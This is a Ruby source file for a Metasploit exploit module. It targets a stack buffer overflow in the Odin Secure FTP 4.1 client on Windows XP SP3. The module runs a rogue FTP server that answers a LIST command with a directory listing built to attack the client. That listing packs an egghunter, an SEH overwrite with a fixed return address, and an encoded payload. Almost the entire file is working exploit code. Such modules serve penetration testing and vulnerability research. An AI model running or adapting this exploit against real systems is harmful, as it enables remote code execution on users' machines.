cgranleese-r7
102 lines
3.0 KiB
Ruby
102 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::FtpServer
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)',
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'Description' => %q{
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This module exploits a stack buffer overflow in Odin Secure FTP 4.1,
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triggered when processing the response on a LIST command. During the overflow,
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a structured exception handler record gets overwritten.
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},
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'Author' => [
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'rick2600', # found the bug
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'corelanc0d3r <peter.ve[at]corelan.be>', # wrote the exploit
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'OSVDB', '68824' ],
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[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
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],
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'DefaultOptions' => {
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'EXITFUNC' => 'thread',
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},
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'Payload' => {
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'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
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},
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'Platform' => 'win',
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'Targets' => [
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[ 'XP SP3 Universal', { 'Offset' => 264, 'Ret' => 0x10077622 } ], # ppr [appface.dll]
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],
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'Privileged' => false,
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'DisclosureDate' => '2010-10-12',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def setup
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super
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end
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def on_client_unknown_command(c, cmd, arg)
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c.put("200 OK\r\n")
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end
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def on_client_command_list(c, arg)
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conn = establish_data_connection(c)
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if (not conn)
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c.put("425 Can't build data connection\r\n")
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return
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end
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print_status(" - Data connection set up")
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code = 150
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c.put("#{code} Here comes the directory listing.\r\n")
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code = 226
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c.put("#{code} Directory send ok.\r\n")
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badchars = ""
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eggoptions =
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{
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:checksum => true,
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:eggtag => "W00T"
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}
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hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)
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badchars = "\x00\xff\x0d\x5c\x2f\x0a"
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hunterenc = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], hunter, ::Msf::Module::PlatformList.win32, badchars)
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offset_to_nseh = target['Offset']
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jmpback = "\xe9\x9c\xff\xff\xff"
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nops = "A" * 30
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filename = "A" * (offset_to_nseh - hunterenc.length - jmpback.length)
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nseh = "\xeb\xf9\x42\x42"
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seh = [target.ret].pack('V')
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junk2 = "A" * 4000
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buffer = filename + hunterenc + jmpback + nseh + seh + junk2 + egg
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print_status(" - Sending directory list via data connection")
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dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
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conn.put(dirlist)
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conn.close
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print_status(" - Payload sent, wait for hunter...")
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return
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end
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end
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